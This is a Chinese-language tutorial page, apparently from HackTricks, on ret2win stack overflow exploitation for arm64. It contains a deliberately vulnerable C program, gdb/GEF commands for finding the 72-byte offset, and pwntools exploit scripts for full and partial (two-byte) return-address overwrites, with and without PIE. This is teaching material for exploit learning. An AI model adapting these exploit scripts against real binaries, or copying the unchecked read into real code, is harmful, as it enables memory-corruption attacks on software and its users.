Ret2win - arm64
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在以下位置找到arm64的介绍：
代码
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
编译时禁用 PIE 和 Canary：
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
寻找偏移量
使用模式选项
这个示例是使用GEF创建的：
使用GEF启动gdb，创建模式并使用它：
gdb -q ./ret2win
pattern create 200
run
arm64 会尝试返回到寄存器 x30 中的地址（已被破坏），我们可以利用这一点来找到模式偏移量：
偏移量为72（9x48）。
栈偏移选项
从获取存储pc寄存器的栈地址开始：
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
现在在read()之后设置一个断点，然后继续执行直到read()被执行，并设置一个模式，如13371337:
b *vulnerable_function+28
c
找到内存中存储这个模式的位置：
然后：0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
无PIE
常规
获取**win**函数的地址：
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
利用：
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
Off-by-1
实际上，这更像是在堆栈中存储的PC上的 off-by-2。我们不是覆盖所有的返回地址，而是仅使用 0x06c4 覆盖最后2个字节。
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
在https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/中，您可以找到ARM64中的另一个一位偏移示例，这是一个虚构漏洞中的真实一位偏移。
使用PIE
二位偏移
没有泄漏，我们不知道获胜函数的确切地址，但我们可以知道函数与二进制文件的偏移，并且知道我们正在覆盖的返回地址已经指向一个接近的地址，因此可以泄漏到获胜函数的偏移（0x7d4），在这种情况下只需使用该偏移量：
```python from pwn import *
Configuration
binary_name = './ret2win' p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
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<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>
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